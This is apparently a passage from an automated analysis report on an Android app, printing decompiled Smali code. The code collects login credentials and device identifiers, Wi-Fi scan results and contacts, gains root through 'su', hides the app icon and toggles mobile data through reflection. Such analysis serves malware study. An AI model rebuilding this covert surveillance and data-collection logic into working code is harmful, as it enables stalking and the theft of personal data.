                    92invoke-virtual {v0, v2, v3}, Landroid/app/AlertDialog$Builder;->setPositiveButton(Ljava/lang/CharSequence;Landroid/content/DialogInterface$OnClickListener;)Landroid/app/AlertDialog$Builder;
                    94invoke-virtual {v0}, Landroid/app/AlertDialog$Builder;->create()Landroid/app/AlertDialog;
                    95move-result-object v0
                    97invoke-virtual {v0}, Landroid/app/AlertDialog;->show()V
                    98goto/16 :goto_4b
                    APIs
                    • org.json.JSONObject.<init>
                    • org.json.JSONObject.put
                    • org.json.JSONObject.put
                    • net.vkurhandler.AddDeviceActivity.e:Lnet/vkurhandler/Mobile
                    • org.json.JSONObject.put
                    • net.vkurhandler.AddDeviceActivity.b:Landroid/widget/EditText
                    • android.widget.EditText.getText
                    • android.text.Editable.toString
                    • org.json.JSONObject.put
                    • net.vkurhandler.AddDeviceActivity.c:Landroid/widget/EditText
                    • android.widget.EditText.getText
                    • android.text.Editable.toString
                    • org.json.JSONObject.put
                    • org.json.JSONObject.put
                    • org.json.JSONObject.put
                    • android.os.Build.MODEL:Ljava/lang/String
                    • org.json.JSONObject.put
                    • android.os.Build.FINGERPRINT:Ljava/lang/String
                    • org.json.JSONObject.put
                    Strings
                    • module
                    • client
                    • action
                    • add_device
                    • device_id
                    • login
                    • password
                    • domain_id
                    • sdk_int
                    • device_name
                    • fingerprint
                    • AddDeviceActivity
                    Position Instruction Meta Information
                    0new-instance v0, Lorg/json/JSONObject;
                    2invoke-direct {v0}, Lorg/json/JSONObject;-><init>()V
                    3try_start_5:
                    4const-string v1, "module"
                    6const-string v2, "client"
                    8invoke-virtual {v0, v1, v2}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
                    10const-string v1, "action"
                    12const-string v2, "add_device"
                    14invoke-virtual {v0, v1, v2}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
                    16const-string v1, "device_id"
                    18iget-object v2, p0, Lnet/vkurhandler/AddDeviceActivity;->e:Lnet/vkurhandler/Mobile;
                    20invoke-virtual {v2}, Lnet/vkurhandler/Mobile;->h()Ljava/lang/String;
                    21move-result-object v2
                    23invoke-virtual {v0, v1, v2}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
                    25const-string v1, "login"
                    27iget-object v2, p0, Lnet/vkurhandler/AddDeviceActivity;->b:Landroid/widget/EditText;
                    29invoke-virtual {v2}, Landroid/widget/EditText;->getText()Landroid/text/Editable;
                    30move-result-object v2
                    32invoke-interface {v2}, Landroid/text/Editable;->toString()Ljava/lang/String;
                    33move-result-object v2
                    35invoke-virtual {v0, v1, v2}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
                    37const-string v1, "password"
                    39iget-object v2, p0, Lnet/vkurhandler/AddDeviceActivity;->c:Landroid/widget/EditText;
                    41invoke-virtual {v2}, Landroid/widget/EditText;->getText()Landroid/text/Editable;
                    42move-result-object v2
                    44invoke-interface {v2}, Landroid/text/Editable;->toString()Ljava/lang/String;
                    45move-result-object v2
                    47invoke-static {v2}, Lnet/vkurhandler/gn;->a(Ljava/lang/String;)Ljava/lang/String;
                    48move-result-object v2
                    50invoke-virtual {v0, v1, v2}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
                    52const-string v1, "domain_id"
                    53const/4 v2, 0x0
                    55invoke-virtual {v0, v1, v2}, Lorg/json/JSONObject;->put(Ljava/lang/String;I)Lorg/json/JSONObject;
                    57const-string v1, "sdk_int"
                    58sget v2, Landroid/os/Build$VERSION;->SDK_INT:I
                    60invoke-virtual {v0, v1, v2}, Lorg/json/JSONObject;->put(Ljava/lang/String;I)Lorg/json/JSONObject;
                    62const-string v1, "device_name"
                    64sget-object v2, Landroid/os/Build;->MODEL:Ljava/lang/String;
                    66invoke-virtual {v0, v1, v2}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
                    68const-string v1, "fingerprint"
                    70sget-object v2, Landroid/os/Build;->FINGERPRINT:Ljava/lang/String;
                    72invoke-virtual {v0, v1, v2}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
                    73try_end_5b: new-instance v1, Lnet/vkurhandler/a;
                    75invoke-direct {v1, p0}, Lnet/vkurhandler/a;-><init>(Lnet/vkurhandler/AddDeviceActivity;)V
                    77invoke-static {p0, v0, v1}, Lnet/vkurhandler/ea;->a(Landroid/content/Context;Lorg/json/JSONObject;Lcom/a/a/a/h;)V
                    78goto_63: return-void
                    79catch_64: move-exception v0
                    81const-string v1, "AddDeviceActivity"
                    83invoke-static {v1, v0}, Lnet/vkurhandler/bn;->a(Ljava/lang/String;Ljava/lang/Throwable;)V
                    84goto/16 :goto_63
                    APIs
                    • android.content.Intent.getAction
                    • org.json.JSONArray.<init>
                    • net.vkurhandler.ai.a:Lnet/vkurhandler/ah
                    • android.net.wifi.WifiManager.getScanResults
                    • android.net.wifi.WifiManager.getConnectionInfo
                    • android.net.wifi.WifiInfo.getBSSID
                    • java.util.List.iterator
                    • java.util.Iterator.hasNext
                    • net.vkurhandler.ai.a:Lnet/vkurhandler/ah
                    • org.json.JSONArray.toString
                    • net.vkurhandler.ai.a:Lnet/vkurhandler/ah
                    • net.vkurhandler.ai.a:Lnet/vkurhandler/ah
                    • android.content.Context.unregisterReceiver
                    • java.util.Iterator.next
                    • org.json.JSONObject.<init>
                    • android.net.wifi.ScanResult.SSID:Ljava/lang/String
                    • org.json.JSONObject.put
                    • android.net.wifi.ScanResult.BSSID:Ljava/lang/String
                    • org.json.JSONObject.put
                    • org.json.JSONObject.put
                    • android.net.wifi.ScanResult.BSSID:Ljava/lang/String
                    • java.lang.String.equals
                    • org.json.JSONObject.put
                    • org.json.JSONArray.put
                    • net.vkurhandler.ai.a:Lnet/vkurhandler/ah
                    • java.lang.Exception.toString
                    Strings
                    • Commander
                    • onReceive
                    • android.net.wifi.SCAN_RESULTS
                    • name
                    • mac
                    • level
                    • connect
                    Position Instruction Meta Information
                    1const-string v0, "Commander"
                    3const-string v1, "onReceive"
                    5invoke-static {v0, v1, p2}, Lnet/vkurhandler/bn;->a(Ljava/lang/String;Ljava/lang/String;Landroid/content/Intent;)V
                    7invoke-virtual {p2}, Landroid/content/Intent;->getAction()Ljava/lang/String;
                    8move-result-object v0
                    10const-string v1, "android.net.wifi.SCAN_RESULTS"
                    11if-ne v0, v1, :cond_4b
                    12new-instance v1, Lorg/json/JSONArray;
                    14invoke-direct {v1}, Lorg/json/JSONArray;-><init>()V
                    16iget-object v0, p0, Lnet/vkurhandler/ai;->a:Lnet/vkurhandler/ah;
                    18invoke-static {v0}, Lnet/vkurhandler/ah;->a(Lnet/vkurhandler/ah;)Landroid/content/Context;
                    19move-result-object v0
                    21invoke-static {v0}, Lnet/vkurhandler/gn;->l(Landroid/content/Context;)Landroid/net/wifi/WifiManager;
                    22move-result-object v0
                    24invoke-virtual {v0}, Landroid/net/wifi/WifiManager;->getScanResults()Ljava/util/List;
                    25move-result-object v2
                    27invoke-virtual {v0}, Landroid/net/wifi/WifiManager;->getConnectionInfo()Landroid/net/wifi/WifiInfo;
                    28move-result-object v0
                    30invoke-virtual {v0}, Landroid/net/wifi/WifiInfo;->getBSSID()Ljava/lang/String;
                    31move-result-object v3
                    32try_start_2a:
                    33invoke-interface {v2}, Ljava/util/List;->iterator()Ljava/util/Iterator;
                    34move-result-object v2
                    35goto_2e:
                    36invoke-interface {v2}, Ljava/util/Iterator;->hasNext()Z
                    37move-result v0
                    38if-nez v0, :cond_4c
                    40iget-object v0, p0, Lnet/vkurhandler/ai;->a:Lnet/vkurhandler/ah;
                    42invoke-virtual {v1}, Lorg/json/JSONArray;->toString()Ljava/lang/String;
                    43move-result-object v1
                    45invoke-static {v0, v1}, Lnet/vkurhandler/ah;->a(Lnet/vkurhandler/ah;Ljava/lang/String;)V
                    46goto_3d:
                    47iget-object v0, p0, Lnet/vkurhandler/ai;->a:Lnet/vkurhandler/ah;
                    49invoke-static {v0}, Lnet/vkurhandler/ah;->b(Lnet/vkurhandler/ah;)V
                    51iget-object v0, p0, Lnet/vkurhandler/ai;->a:Lnet/vkurhandler/ah;
                    53invoke-static {v0}, Lnet/vkurhandler/ah;->a(Lnet/vkurhandler/ah;)Landroid/content/Context;
                    54move-result-object v0
                    56invoke-virtual {v0, p0}, Landroid/content/Context;->unregisterReceiver(Landroid/content/BroadcastReceiver;)V
                    57cond_4b: return-void
                    58try_start_4c:
                    59invoke-interface {v2}, Ljava/util/Iterator;->next()Ljava/lang/Object;
                    60move-result-object v0
                    61check-cast v0, Landroid/net/wifi/ScanResult;
                    62new-instance v4, Lorg/json/JSONObject;
                    64invoke-direct {v4}, Lorg/json/JSONObject;-><init>()V
                    66const-string v5, "name"
                    68iget-object v6, v0, Landroid/net/wifi/ScanResult;->SSID:Ljava/lang/String;
                    70invoke-virtual {v4, v5, v6}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
                    72const-string v5, "mac"
                    74iget-object v6, v0, Landroid/net/wifi/ScanResult;->BSSID:Ljava/lang/String;
                    76invoke-virtual {v4, v5, v6}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
                    78const-string v5, "level"
                    79iget v6, v0, Landroid/net/wifi/ScanResult;->level:I
                    81invoke-static {v6}, Lnet/vkurhandler/gn;->a(I)I
                    82move-result v6
                    84invoke-virtual {v4, v5, v6}, Lorg/json/JSONObject;->put(Ljava/lang/String;I)Lorg/json/JSONObject;
                    86const-string v5, "connect"
                    87if-eqz v3, :cond_94
                    89iget-object v0, v0, Landroid/net/wifi/ScanResult;->BSSID:Ljava/lang/String;
                    91invoke-virtual {v3, v0}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
                    92move-result v0
                    93if-eqz v0, :cond_94
                    94const/4 v0, 0x1
                    95goto_7d:
                    96invoke-virtual {v4, v5, v0}, Lorg/json/JSONObject;->put(Ljava/lang/String;Z)Lorg/json/JSONObject;
                    98invoke-virtual {v1, v4}, Lorg/json/JSONArray;->put(Ljava/lang/Object;)Lorg/json/JSONArray;
                    99try_end_83: goto/16 :goto_2e
                    100catch_84: move-exception v0
                    102iget-object v1, p0, Lnet/vkurhandler/ai;->a:Lnet/vkurhandler/ah;
                    104invoke-virtual {v0}, Ljava/lang/Exception;->toString()Ljava/lang/String;
                    105move-result-object v2
                    107invoke-static {v1, v2}, Lnet/vkurhandler/ah;->a(Lnet/vkurhandler/ah;Ljava/lang/String;)V
                    109const-string v1, "Commander"
                    111invoke-static {v1, v0}, Lnet/vkurhandler/bn;->a(Ljava/lang/String;Ljava/lang/Throwable;)V
                    112goto/16 :goto_3d
                    113cond_94: const/4 v0, 0x0
                    114goto/16 :goto_7d
                    Cross References
                    APIs
                    • java.lang.Runtime.getRuntime
                    • java.lang.Runtime.exec
                    • java.lang.Process.getOutputStream
                    • java.io.DataOutputStream.<init>
                    • java.lang.Process.getInputStream
                    • java.io.InputStreamReader.<init>
                    • java.io.BufferedReader.<init>
                    • java.io.DataOutputStream.writeBytes
                    • java.io.DataOutputStream.flush
                    • java.io.BufferedReader.readLine
                    • java.io.DataOutputStream.writeBytes
                    • java.io.DataOutputStream.flush
                    • java.lang.String.contains
                    • java.lang.StringBuilder.<init>
                    • java.lang.StringBuilder.append
                    • java.lang.StringBuilder.toString
                    Strings
                    • su
                    • id\n
                    • RootShell
                    • Can\'t get root access or denied by user
                    • exit\n
                    • uid=0
                    • Root access granted
                    • Root access rejected:
                    Position Instruction Meta Information
                    0const/4 v0, 0x1
                    1const/4 v1, 0x0
                    2try_start_2:
                    3invoke-static {}, Ljava/lang/Runtime;->getRuntime()Ljava/lang/Runtime;
                    4move-result-object v2
                    6const-string v3, "su"
                    8invoke-virtual {v2, v3}, Ljava/lang/Runtime;->exec(Ljava/lang/String;)Ljava/lang/Process;
                    9move-result-object v2
                    10new-instance v3, Ljava/io/DataOutputStream;
                    12invoke-virtual {v2}, Ljava/lang/Process;->getOutputStream()Ljava/io/OutputStream;
                    13move-result-object v4
                    15invoke-direct {v3, v4}, Ljava/io/DataOutputStream;-><init>(Ljava/io/OutputStream;)V
                    16new-instance v4, Ljava/io/BufferedReader;
                    17new-instance v5, Ljava/io/InputStreamReader;
                    19invoke-virtual {v2}, Ljava/lang/Process;->getInputStream()Ljava/io/InputStream;
                    20move-result-object v2
                    22invoke-direct {v5, v2}, Ljava/io/InputStreamReader;-><init>(Ljava/io/InputStream;)V
                    24invoke-direct {v4, v5}, Ljava/io/BufferedReader;-><init>(Ljava/io/Reader;)V
                    25if-eqz v3, :cond_89
                    26if-eqz v4, :cond_89
                    28const-string v2, "id\n"
                    30invoke-virtual {v3, v2}, Ljava/io/DataOutputStream;->writeBytes(Ljava/lang/String;)V
                    32invoke-virtual {v3}, Ljava/io/DataOutputStream;->flush()V
                    34invoke-virtual {v4}, Ljava/io/BufferedReader;->readLine()Ljava/lang/String;
                    35move-result-object v2
                    36if-nez v2, :cond_4f
                    38invoke-static {}, Lnet/vkurhandler/bn;->a()Z
                    39move-result v0
                    40if-eqz v0, :cond_8d
                    42const-string v0, "RootShell"
                    44const-string v2, "Can\'t get root access or denied by user"
                    46invoke-static {v0, v2}, Lnet/vkurhandler/bn;->b(Ljava/lang/String;Ljava/lang/String;)V
                    47move v2, v1
                    48move v0, v1
                    49goto_44: if-eqz v2, :cond_4e
                    51const-string v2, "exit\n"
                    53invoke-virtual {v3, v2}, Ljava/io/DataOutputStream;->writeBytes(Ljava/lang/String;)V
                    55invoke-virtual {v3}, Ljava/io/DataOutputStream;->flush()V
                    56goto_4e: return v0
                    57cond_4f:
                    58const-string v4, "uid=0"
                    60invoke-virtual {v2, v4}, Ljava/lang/String;->contains(Ljava/lang/CharSequence;)Z
                    61move-result v4
                    62if-eqz v4, :cond_66
                    64invoke-static {}, Lnet/vkurhandler/bn;->a()Z
                    65move-result v2
                    66if-eqz v2, :cond_8b
                    68const-string v2, "RootShell"
                    70const-string v4, "Root access granted"
                    72invoke-static {v2, v4}, Lnet/vkurhandler/bn;->b(Ljava/lang/String;Ljava/lang/String;)V
                    73move v2, v0
                    74goto/16 :goto_44
                    75cond_66:
                    76invoke-static {}, Lnet/vkurhandler/bn;->a()Z
                    77move-result v4
                    78if-eqz v4, :cond_80
                    80const-string v4, "RootShell"
                    81new-instance v5, Ljava/lang/StringBuilder;
                    83const-string v6, "Root access rejected: "
                    85invoke-direct {v5, v6}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
                    87invoke-virtual {v5, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                    88move-result-object v2
                    90invoke-virtual {v2}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                    91move-result-object v2
                    93invoke-static {v4, v2}, Lnet/vkurhandler/bn;->b(Ljava/lang/String;Ljava/lang/String;)V
                    94cond_80: move v2, v0
                    95move v0, v1
                    96goto/16 :goto_44
                    97catch_83: move-exception v0
                    99const-string v2, "RootShell"
                    101invoke-static {v2, v0}, Lnet/vkurhandler/bn;->a(Ljava/lang/String;Ljava/lang/Throwable;)V
                    102cond_89: move v0, v1
                    103goto/16 :goto_4e
                    104cond_8b: move v2, v0
                    105goto/16 :goto_44
                    106cond_8d: move v2, v1
                    107move v0, v1
                    108goto/16 :goto_44
                    APIs
                    • net.vkurhandler.SettingsActivity.b:Landroid/content/SharedPreferences
                    • android.content.SharedPreferences.edit
                    • net.vkurhandler.SettingsActivity.b:Landroid/content/SharedPreferences
                    • android.content.SharedPreferences.getInt
                    • net.vkurhandler.SettingsActivity.getPackageManager
                    • net.vkurhandler.SettingsActivity.d:Landroid/content/ComponentName
                    • android.content.pm.PackageManager.setComponentEnabledSetting
                    • android.content.SharedPreferences$Editor.putInt
                    • net.vkurhandler.SettingsActivity.Q:Landroid/widget/Button
                    • net.vkurhandler.SettingsActivity.getString
                    • android.widget.Button.setText
                    • android.content.SharedPreferences$Editor.commit
                    • net.vkurhandler.SettingsActivity.getPackageManager
                    • net.vkurhandler.SettingsActivity.d:Landroid/content/ComponentName
                    • android.content.pm.PackageManager.setComponentEnabledSetting
                    • android.content.SharedPreferences$Editor.putInt
                    • net.vkurhandler.SettingsActivity.Q:Landroid/widget/Button
                    • net.vkurhandler.SettingsActivity.getString
                    • android.widget.Button.setText
                    • android.app.AlertDialog$Builder.<init>
                    • android.app.AlertDialog$Builder.create
                    • net.vkurhandler.SettingsActivity.getString
                    • android.app.AlertDialog.setTitle
                    • net.vkurhandler.SettingsActivity.getString
                    • android.app.AlertDialog.setMessage
                    • android.app.AlertDialog.setButton
                    • android.app.AlertDialog.show
                    Strings
                    • hide_app
                    • Ok
                    Position Instruction Meta Information
                    0const/4 v4, 0x1
                    2iget-object v0, p0, Lnet/vkurhandler/SettingsActivity;->b:Landroid/content/SharedPreferences;
                    4invoke-interface {v0}, Landroid/content/SharedPreferences;->edit()Landroid/content/SharedPreferences$Editor;
                    5move-result-object v0
                    7iget-object v1, p0, Lnet/vkurhandler/SettingsActivity;->b:Landroid/content/SharedPreferences;
                    9const-string v2, "hide_app"
                    10const/4 v3, -0x1
                    12invoke-interface {v1, v2, v3}, Landroid/content/SharedPreferences;->getInt(Ljava/lang/String;I)I
                    13move-result v1
                    14if-lez v1, :cond_31
                    16invoke-virtual {p0}, Lnet/vkurhandler/SettingsActivity;->getPackageManager()Landroid/content/pm/PackageManager;
                    17move-result-object v1
                    19iget-object v2, p0, Lnet/vkurhandler/SettingsActivity;->d:Landroid/content/ComponentName;
                    21invoke-virtual {v1, v2, v4, v4}, Landroid/content/pm/PackageManager;->setComponentEnabledSetting(Landroid/content/ComponentName;II)V
                    23const-string v1, "hide_app"
                    24const/4 v2, 0x0
                    26invoke-interface {v0, v1, v2}, Landroid/content/SharedPreferences$Editor;->putInt(Ljava/lang/String;I)Landroid/content/SharedPreferences$Editor;
                    28iget-object v1, p0, Lnet/vkurhandler/SettingsActivity;->Q:Landroid/widget/Button;
                    29const v2, 0x7f0600ea
                    31invoke-virtual {p0, v2}, Lnet/vkurhandler/SettingsActivity;->getString(I)Ljava/lang/String;
                    32move-result-object v2
                    34invoke-virtual {v1, v2}, Landroid/widget/Button;->setText(Ljava/lang/CharSequence;)V
                    35goto_2d:
                    36invoke-interface {v0}, Landroid/content/SharedPreferences$Editor;->commit()Z
                    37return-void
                    38cond_31:
                    39invoke-virtual {p0}, Lnet/vkurhandler/SettingsActivity;->getPackageManager()Landroid/content/pm/PackageManager;
                    40move-result-object v1
                    42iget-object v2, p0, Lnet/vkurhandler/SettingsActivity;->d:Landroid/content/ComponentName;
                    43const/4 v3, 0x2
                    45invoke-virtual {v1, v2, v3, v4}, Landroid/content/pm/PackageManager;->setComponentEnabledSetting(Landroid/content/ComponentName;II)V
                    47const-string v1, "hide_app"
                    49invoke-interface {v0, v1, v4}, Landroid/content/SharedPreferences$Editor;->putInt(Ljava/lang/String;I)Landroid/content/SharedPreferences$Editor;
                    51iget-object v1, p0, Lnet/vkurhandler/SettingsActivity;->Q:Landroid/widget/Button;
                    52const v2, 0x7f0600eb
                    54invoke-virtual {p0, v2}, Lnet/vkurhandler/SettingsActivity;->getString(I)Ljava/lang/String;
                    55move-result-object v2
                    57invoke-virtual {v1, v2}, Landroid/widget/Button;->setText(Ljava/lang/CharSequence;)V
                    58new-instance v1, Landroid/app/AlertDialog$Builder;
                    60invoke-direct {v1, p0}, Landroid/app/AlertDialog$Builder;-><init>(Landroid/content/Context;)V
                    62invoke-virtual {v1}, Landroid/app/AlertDialog$Builder;->create()Landroid/app/AlertDialog;
                    63move-result-object v1
                    64const v2, 0x7f0600e2
                    66invoke-virtual {p0, v2}, Lnet/vkurhandler/SettingsActivity;->getString(I)Ljava/lang/String;
                    67move-result-object v2
                    69invoke-virtual {v1, v2}, Landroid/app/AlertDialog;->setTitle(Ljava/lang/CharSequence;)V
                    70const v2, 0x7f0600ec
                    72invoke-virtual {p0, v2}, Lnet/vkurhandler/SettingsActivity;->getString(I)Ljava/lang/String;
                    73move-result-object v2
                    75invoke-virtual {v1, v2}, Landroid/app/AlertDialog;->setMessage(Ljava/lang/CharSequence;)V
                    76const/4 v2, -0x3
                    78const-string v3, "Ok"
                    79new-instance v4, Lnet/vkurhandler/ez;
                    81invoke-direct {v4, p0}, Lnet/vkurhandler/ez;-><init>(Lnet/vkurhandler/SettingsActivity;)V
                    83invoke-virtual {v1, v2, v3, v4}, Landroid/app/AlertDialog;->setButton(ILjava/lang/CharSequence;Landroid/content/DialogInterface$OnClickListener;)V
                    85invoke-virtual {v1}, Landroid/app/AlertDialog;->show()V
                    86goto/16 :goto_2d
                    APIs
                    • android.content.DialogInterface.dismiss
                    • net.vkurhandler.SettingsActivity.getApplicationContext
                    • net.vkurhandler.SettingsActivity.getApplicationContext
                    • net.vkurhandler.SettingsActivity.s
                    • net.vkurhandler.SettingsActivity.t
                    • android.app.admin.DevicePolicyManager.isAdminActive
                    • net.vkurhandler.SettingsActivity.s
                    • net.vkurhandler.SettingsActivity.t
                    • android.app.admin.DevicePolicyManager.removeActiveAdmin
                    • java.lang.StringBuilder.<init>
                    • net.vkurhandler.SettingsActivity.getPackageName
                    • java.lang.StringBuilder.append
                    • java.lang.StringBuilder.toString
                    • android.net.Uri.parse
                    • android.content.Intent.<init>
                    • android.content.Intent.addFlags
                    • net.vkurhandler.SettingsActivity.startActivity
                    Strings
                    • package:
                    • android.intent.action.DELETE
                    Position Instruction Meta Information
                    1invoke-interface {p1}, Landroid/content/DialogInterface;->dismiss()V
                    3iget-object v0, p0, Lnet/vkurhandler/fd;->a:Lnet/vkurhandler/SettingsActivity;
                    5invoke-virtual {v0}, Lnet/vkurhandler/SettingsActivity;->getApplicationContext()Landroid/content/Context;
                    6move-result-object v0
                    8invoke-static {v0}, Lnet/vkurhandler/gn;->c(Landroid/content/Context;)V
                    10iget-object v0, p0, Lnet/vkurhandler/fd;->a:Lnet/vkurhandler/SettingsActivity;
                    12invoke-virtual {v0}, Lnet/vkurhandler/SettingsActivity;->getApplicationContext()Landroid/content/Context;
                    13move-result-object v0
                    15invoke-static {v0}, Lnet/vkurhandler/gn;->b(Landroid/content/Context;)Z
                    16move-result v0
                    17if-nez v0, :cond_63
                    19iget-object v0, p0, Lnet/vkurhandler/fd;->a:Lnet/vkurhandler/SettingsActivity;
                    21invoke-static {v0}, Lnet/vkurhandler/SettingsActivity;->s(Lnet/vkurhandler/SettingsActivity;)Landroid/app/admin/DevicePolicyManager;
                    22move-result-object v0
                    24iget-object v1, p0, Lnet/vkurhandler/fd;->a:Lnet/vkurhandler/SettingsActivity;
                    26invoke-static {v1}, Lnet/vkurhandler/SettingsActivity;->t(Lnet/vkurhandler/SettingsActivity;)Landroid/content/ComponentName;
                    27move-result-object v1
                    29invoke-virtual {v0, v1}, Landroid/app/admin/DevicePolicyManager;->isAdminActive(Landroid/content/ComponentName;)Z
                    30move-result v0
                    31if-eqz v0, :cond_39
                    33iget-object v0, p0, Lnet/vkurhandler/fd;->a:Lnet/vkurhandler/SettingsActivity;
                    35invoke-static {v0}, Lnet/vkurhandler/SettingsActivity;->s(Lnet/vkurhandler/SettingsActivity;)Landroid/app/admin/DevicePolicyManager;
                    36move-result-object v0
                    38iget-object v1, p0, Lnet/vkurhandler/fd;->a:Lnet/vkurhandler/SettingsActivity;
                    40invoke-static {v1}, Lnet/vkurhandler/SettingsActivity;->t(Lnet/vkurhandler/SettingsActivity;)Landroid/content/ComponentName;
                    41move-result-object v1
                    43invoke-virtual {v0, v1}, Landroid/app/admin/DevicePolicyManager;->removeActiveAdmin(Landroid/content/ComponentName;)V
                    44cond_39: new-instance v0, Ljava/lang/StringBuilder;
                    46const-string v1, "package:"
                    48invoke-direct {v0, v1}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
                    50iget-object v1, p0, Lnet/vkurhandler/fd;->a:Lnet/vkurhandler/SettingsActivity;
                    52invoke-virtual {v1}, Lnet/vkurhandler/SettingsActivity;->getPackageName()Ljava/lang/String;
                    53move-result-object v1
                    55invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                    56move-result-object v0
                    58invoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                    59move-result-object v0
                    61invoke-static {v0}, Landroid/net/Uri;->parse(Ljava/lang/String;)Landroid/net/Uri;
                    62move-result-object v0
                    63new-instance v1, Landroid/content/Intent;
                    65const-string v2, "android.intent.action.DELETE"
                    67invoke-direct {v1, v2, v0}, Landroid/content/Intent;-><init>(Ljava/lang/String;Landroid/net/Uri;)V
                    68const/high16 v0, 0x10000000
                    70invoke-virtual {v1, v0}, Landroid/content/Intent;->addFlags(I)Landroid/content/Intent;
                    72iget-object v0, p0, Lnet/vkurhandler/fd;->a:Lnet/vkurhandler/SettingsActivity;
                    74invoke-virtual {v0, v1}, Lnet/vkurhandler/SettingsActivity;->startActivity(Landroid/content/Intent;)V
                    75cond_63: return-void
                    Cross References
                    APIs
                    • android.content.Context.getSystemService
                    • java.lang.Object.getClass
                    • java.lang.Class.getName
                    • java.lang.Class.forName
                    • java.lang.Class.getDeclaredMethod
                    • java.lang.reflect.Method.setAccessible
                    • java.lang.reflect.Method.invoke
                    • java.lang.Object.getClass
                    • java.lang.Class.getName
                    • java.lang.Class.forName
                    • java.lang.Class.getDeclaringClass
                    • java.lang.Class.getDeclaredField
                    • java.lang.reflect.Field.setAccessible
                    • java.lang.reflect.Field.getInt
                    • java.lang.String.valueOf
                    Strings
                    • phone
                    • getITelephony
                    • TRANSACTION_setDataEnabled
                    • Mobile
                    Position Instruction Meta Information
                    0try_start_0:
                    1const-string v0, "phone"
                    3invoke-virtual {p0, v0}, Landroid/content/Context;->getSystemService(Ljava/lang/String;)Ljava/lang/Object;
                    4move-result-object v0
                    5check-cast v0, Landroid/telephony/TelephonyManager;
                    7invoke-virtual {v0}, Ljava/lang/Object;->getClass()Ljava/lang/Class;
                    8move-result-object v1
                    10invoke-virtual {v1}, Ljava/lang/Class;->getName()Ljava/lang/String;
                    11move-result-object v1
                    13invoke-static {v1}, Ljava/lang/Class;->forName(Ljava/lang/String;)Ljava/lang/Class;
                    14move-result-object v1
                    16const-string v2, "getITelephony"
                    17const/4 v3, 0x0
                    18new-array v3, v3, [Ljava/lang/Class;
                    20invoke-virtual {v1, v2, v3}, Ljava/lang/Class;->getDeclaredMethod(Ljava/lang/String;[Ljava/lang/Class;)Ljava/lang/reflect/Method;
                    21move-result-object v1
                    22const/4 v2, 0x1
                    24invoke-virtual {v1, v2}, Ljava/lang/reflect/Method;->setAccessible(Z)V
                    25const/4 v2, 0x0
                    26new-array v2, v2, [Ljava/lang/Object;
                    28invoke-virtual {v1, v0, v2}, Ljava/lang/reflect/Method;->invoke(Ljava/lang/Object;[Ljava/lang/Object;)Ljava/lang/Object;
                    29move-result-object v0
                    31invoke-virtual {v0}, Ljava/lang/Object;->getClass()Ljava/lang/Class;
                    32move-result-object v0
                    34invoke-virtual {v0}, Ljava/lang/Class;->getName()Ljava/lang/String;
                    35move-result-object v0
                    37invoke-static {v0}, Ljava/lang/Class;->forName(Ljava/lang/String;)Ljava/lang/Class;
                    38move-result-object v0
                    40invoke-virtual {v0}, Ljava/lang/Class;->getDeclaringClass()Ljava/lang/Class;
                    41move-result-object v0
                    43const-string v1, "TRANSACTION_setDataEnabled"
                    45invoke-virtual {v0, v1}, Ljava/lang/Class;->getDeclaredField(Ljava/lang/String;)Ljava/lang/reflect/Field;
                    46move-result-object v0
                    47const/4 v1, 0x1
                    49invoke-virtual {v0, v1}, Ljava/lang/reflect/Field;->setAccessible(Z)V
                    50const/4 v1, 0x0
                    52invoke-virtual {v0, v1}, Ljava/lang/reflect/Field;->getInt(Ljava/lang/Object;)I
                    53move-result v0
                    55invoke-static {v0}, Ljava/lang/String;->valueOf(I)Ljava/lang/String;
                    56try_end_4a: move-result-object v0
                    57goto_4b: return-object v0
                    58catch_4c: move-exception v0
                    60const-string v1, "Mobile"
                    62invoke-static {v1, v0}, Lnet/vkurhandler/bn;->a(Ljava/lang/String;Ljava/lang/Throwable;)V
                    64const-string v0, ""
                    65goto/16 :goto_4b
                    Cross References
                    APIs
                    • android.content.Context.getContentResolver
                    • android.provider.ContactsContract$CommonDataKinds$Phone.CONTENT_URI:Landroid/net/Uri
                    • android.content.ContentResolver.query
                    • android.database.Cursor.getColumnIndex
                    • android.database.Cursor.getColumnIndex
                    • org.json.JSONArray.<init>
                    • android.database.Cursor.moveToNext
                    • android.database.Cursor.close
                    • org.json.JSONArray.toString
                    • android.database.Cursor.getString
                    • android.database.Cursor.getString
                    • org.json.JSONObject.<init>
                    • org.json.JSONObject.put
                    • org.json.JSONObject.put
                    • org.json.JSONArray.put
                    Strings
                    • display_name ASC
                    • display_name
                    • data1
                    • phone_number
                    • name
                    Position Instruction Meta Information
                    0const/4 v2, 0x0
                    2iget-object v0, p0, Lnet/vkurhandler/ah;->a:Landroid/content/Context;
                    4invoke-virtual {v0}, Landroid/content/Context;->getContentResolver()Landroid/content/ContentResolver;
                    5move-result-object v0
                    7sget-object v1, Landroid/provider/ContactsContract$CommonDataKinds$Phone;->CONTENT_URI:Landroid/net/Uri;
                    9const-string v5, "display_name ASC"
                    10move-object v3, v2
                    11move-object v4, v2
